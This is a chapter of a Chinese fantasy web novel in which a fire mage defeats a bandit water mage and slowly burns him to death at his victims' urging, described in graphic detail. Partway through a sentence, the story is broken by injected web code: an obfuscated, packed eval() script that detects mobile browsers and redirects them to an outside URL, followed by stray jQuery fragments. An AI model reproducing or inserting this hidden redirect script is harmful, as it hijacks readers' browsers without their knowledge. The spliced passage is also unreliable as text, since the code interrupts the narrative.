虽然自信，玛西亚却并不轻敌，她认真地打听了格罗姆的底细。


    格罗姆，水魔法师，十五岁之前是个普通人。魔法天赋觉醒后他开始用水作为攻击手段，一语不合就把人冻成冰雕，就这样为害一方。


    玛西亚进行分析：“如果他全靠自己琢磨，就能给你留下不输高阶魔法师的印象，那他确实还不错。”


    水魔法通常被认为是一种充满灵性的生活魔法，人、动物、植物的内部大多都含有不同形态的水元素，因此，水魔法可以治愈很多疾病。


    用水魔法战斗，不是不行，就是多少有点儿浪费。至少玛西亚觉得有更值得做的事。


    埃文不懂魔法，听对方的能力是水，难免忧心忡忡：“会不会有点儿克制你？”


    “不，魔法的世界里没有常识。”


    克劳德：“明天，我带您去格罗姆的地盘，莉莉娅特也去，不然他不会让咱们进门。一露面就开始战斗的话，如果他见势不妙逃跑，也会很麻烦。”


    “明白。从里到外烧个干净，不留后患。”她转头又对埃文说，“我会尽快回来的。”


    既然把他视为同伴，分头行动时自然要叮嘱一句，好让埃文安心等她回来。


    埃文却紧张地站起来，快速上前几步，伸出手牵住她的袖子：“我跟你一起去。”


    “嗯？”


    “玛西亚，我们是同伴，对不对？别让我留在家里等消息。等待的感觉太煎熬了。”


    玛西亚困惑地看着他，有些不知所措：“埃文，水魔法不会对我造成任何威胁的。别担心。”


    “我知道你会赢，我相信你会赢，可是，也让我做点什么吧。带我去……行么？”


    埃文只觉此刻的场景如此似曾相识。战士上了战场，然后就一去不回。纵然理智告诉他，今时不同往日，玛西亚不会输，大脑还是强迫地回溯，把他丢回记忆深处。


    看他妈妈就知道了，除了等待什么也做不了，等来等去，结果还是不会改变。


    他会失去父亲，然后再失去母亲，失去村庄里绝大数的邻居、伙伴……他们死于战争、龙灾、寒冷、疾病，死于他无法理解也不能战胜的力量——命运。


    他当然知道现实不是浪漫小说。


    也许就是因为现实太残酷了，他才会以此为寄托。


    “求你……”


    把他从等待中解救出来，开启一个新的故事吧。


    浪漫的故事，温暖的故事，并肩战斗的故事，翻到最后一页，所有人都会幸福的故事。


    埃文不觉露出如同被抛弃的孩子一般的表情，玛西亚于心不忍：“好，我们一起去。”


    反正，她自信能够掌控局面，不会让他有危险的。


    “谢谢你，玛西亚。”


    克劳德在一旁皱着眉头看愣了。


    他听妹妹说玛西亚愿意出手相助，有很大一部分原因是为了能安心带走埃文。在他看来，埃文年轻、强壮、俊美，确实不假。但这性格……


    怎么说都有点太粘人了。


    克劳德礼貌地打断他们：“我们一起去也好。毕竟，格罗姆的说法是‘我想和你妹妹结婚’，新娘家多去几个人，也算做足姿态。”


    “他居然好意思说是结婚。”玛西亚怒极反笑。


    次日，玛西亚与埃文同斯温兄妹一起出发前往格罗姆的地盘。


    莉莉娅特身着盛装礼服，稚嫩的脸和繁复的衣服、逃跑时剪短的头发和精致的妆容，强烈的对比令所有人都感到一种荒谬。


    这样的小女孩儿怎么可以做新娘呢。


    “玛西亚姐姐……”她攥着裙角，把衣料揉皱。


    “别怕，交给我。”


    玛西亚默默在脑海里想好了格罗姆的死法。


    格罗姆住在一个小村庄，原本的木屋、土墙还在，罩上了厚厚的冰壳子，他用魔法把这里改造成了坚不可摧的堡垒，一座白色的土匪窝。


    “呦，到底把小小姐送上门了，”守门的小喽啰吹了个口哨，眼睛从莉莉娅特挪到玛西亚身上，猥琐地扫量一圈，他可不是魔法师，自然对成年女人更感兴趣，“女仆也一起送来么？不怎么忒漂亮，身材嘛，啧，倒还行。可以陪我们玩玩。”


    “嘴巴放干净点儿！”埃文把手攥得关节作响，几乎控制不住怒火。


    玛西亚本人却十分平静。


    尽管说吧，过瘾吧，反正他很快就要变成一堆灰烬了。


    格罗姆出现在众人面前。


    灰色头发、瘦削的脸、深陷的眼窝和鹰钩鼻，以及长期放纵生活带来的眼袋和黑眼圈，单单他的外表就让人很不舒服。更不用提他那贪婪的眼神，与格罗姆对视，就像被蜥蜴用腻滑冷血的舌头舔了一口。


    格罗姆得意地向克劳德走来。


    “咱们一开始就该结亲的。您是有钱人，这不假，可惜在冰原上，钱和被雪埋住的石头一样贱。而我是有能力的人，我可以保护我的小妻子，还有她的娘家。这是笔好买卖。”


    “你十天之前还放话说要把蜡烛城堡劫掠一空呢。格罗姆。”克劳德说。


    “哎呀！情况不同了嘛！不过，我得承认，我喜欢莉莉娅特今天穿的裙子，像礼物盒上漂亮的包装纸。让我很有兴趣去拆封。只是她那根油亮的辫子去哪儿了？”说着，他就朝莉莉娅特伸出手来。莉莉娅特受惊地往后一缩。


    玛西亚的耐心耗尽。


    “格罗姆，准备好。”


    看到玛西亚亮出法杖，格罗姆愣了愣，旋即轻蔑一笑：“原来是找了帮手。不过，我可不会输给你这样的丫头。”


    玛西亚撇嘴，真没创意，这种话她从小听到大，有什么杀伤力么？没有。


    她抬手就是一团火，火球飞到半空，迅速分裂、散开，变成无数火苗，如同红色的鸟群，包围着格罗姆飞旋。


    格罗姆对玛西亚对魔法精密的控制以及庞大的魔法储量大为惊讶，恐惧一闪而过，却嘴硬地说：“没常识么，水可以扑灭火，我一会儿就让你掉眼泪！”


    玛西亚不语。


    他也抡起法杖，朝前一挥，指望自己可以轻松把火焰浇灭。


    然而，事与愿违。玛西亚释放出的热力让格罗姆的水瞬间蒸发，手腕轻轻一抖，火花像飞箭一样向四周射去，她没有攻击格罗姆，而是一击把他的喽啰们集中解决。手下痛苦的呻-吟，和他们跌倒在地的重重响声，本身就一种恐吓。


    玛西亚太了解这种拉帮结派的人了，这种人没办法一个人呆着，他需要不断在掰手腕、认老大的排序游戏里获胜，他需要有人恭维他、奉承他，陪他过家家，不然就没办法维持脆弱的自尊心与虚假的权威。


    格罗姆不是什么冰原皇帝，只是个会魔法的流氓。


    格罗姆发狠，从空气中召出锋利的冰刀，掀起四周围全部的雪，作势要把她埋了。


    玛西亚从容地向前迈步，一步一步走进纷纷冰刃中，不念咒语，不用法术，任冰雪打在自己身上——它们连一滴水痕也没有留下，嘶嘶作响了一会儿，便无影无踪地气化、消失。


    “格罗姆，”她平静开口，“我来教你新的常识：我名为玛西亚·布莱斯，人们叫我‘烈焰之炎’。”


    格罗姆的面部肌肉开始抽动，他不甘心地再次发起攻击，玛西亚则轻轻松松接下，缓缓伸出手，卡住他的脖子。


    她的手越来越烫，最后，竟像烙铁一样，嘶啦嘶啦地煎着他的皮肉，与之接触的地方散出股股黑烟。


    “如果你认错，并向莉莉娅特道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15010689|162042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    歉，我可以减轻你的痛苦。”


    喉咙快被烤熟的格罗姆又该怎么发出声音呢？他愤怒地瞪着玛西亚，艰难地骂她：“狠毒的……女……”


    玛西亚摇摇头。


    “好吧。既然你没别的话要说。”她用火焰织出滚烫的网，绑缚他的身体，使其无法再行动。


    与此同时，克劳德带着埃文，找到两个被格罗姆囚禁的人：一个被殴伤的老年男人、一个蓬头垢面的年轻女人。


    玛西亚问他们：“要看我把格罗姆烧成灰再走么？”


    老人似乎神志不清，眼神迷蒙，女人则抬起了头，惨然一笑：“当然！我一直想亲眼看着他死，我得给丈夫送葬呢。”


    “丈夫？”玛西亚瞪了格罗姆一眼，大致猜到了他的所作所为，心中一阵憎恶，又转向这个可怜的女人，轻声询问，“你也是元素亲和者，对么？”


    那女人不答，只是控诉：“他掐死了我每一个孩子……凭什么说我的女儿是次品！狗东西！去死，去死吧！”


    她歇斯底里地吼叫，如野兽般吼叫，抓起地上的石块，暴怒地砸向格罗姆。格罗姆剧痛之下，仍有气息和知觉，身体不可控制地发抖。


    他这个时候才知道后悔，想说些求饶的话，可喉咙附近的肉已经彻底熟透。


    女人说的“每一个孩子”、“次品”等语，让玛西亚的心情变得很差。她本无意凌虐敌人，但处刑最重要的一点是让受害者满意。


    于是，玛西亚像点燃线香一样，点燃了格罗姆四肢的末端，精确地控制着魔法，使火焰一点一点地吞没他的身体。


    莉莉娅特年纪小，但并不害怕，始终直视着复仇的火焰。埃文脸上也没有反感的表情，反而很敬佩她似的，这也让玛西亚感觉舒服。


    这就是雇人的便利，玛西亚心想，她不用担心在埃文暴露自己性格中残忍的一面。要是真的去恋爱，谁会爱上杀人放火的她呢？


    约一刻钟后，这场缓慢的火刑才结束。


    女人对着焦黑的尸体大笑，笑了一会儿又泣不成声，最终体力不支晕了过去。


    莉莉娅特上前一步扶住她，像搭救一个不走运版本的自己：“哥哥，我们把她带回家，可以么？”


    “当然。”克劳德表情不多，但语声坚定有力。


    斯温兄妹把她扶到冰车上，连同那位受伤的老人一起，返回蜡烛城堡。


    安顿好两人以后，玛西亚才把王都贵妇的信交给克劳德。他接过信，拆开，一目十行地浏览，随即快速地把信攥在手心，捏成一团。


    “斯温先生，有什么事明天再聊，怎么样？”玛西亚同样内心疲惫，没有余力关心他的事情。


    克劳德点了点头：“您好好休息。”


    待房间里只剩玛西亚，埃文才小心地开口，关切地问：“玛西亚，你被格罗姆气坏了，对么？”


    “感觉很郁闷，说不上来。”


    “你已经做得不能更好了！还能怎么着呢，别让这个烂人死后还折磨你的心。”


    “谢谢。其实我在思考魔法师到底是什么。你说过，格罗姆寻找亲和者生育魔法师后代的行为很像宠物在配种。”


    玛西亚抬起头，凝视他的金眸。


    “埃文，你作为普通人，你觉得魔法师是怎样的存在？”


    “玛西亚，你当然是人，人类。有能力的优秀人类。格罗姆自甘堕落，好好的人类不当，非要做畜牲。你不用试图理解他的想法，小说里他那种没魅力的反派出场一会儿就会死。连句台词都多余让他说！”


    玛西亚被他认真的语气逗笑，不安的感觉却挥之不去。魔法师不被人歧视也就是最近五六十年的事，是人魔战争提高了魔法师的地位。


    而现在，战争结束了。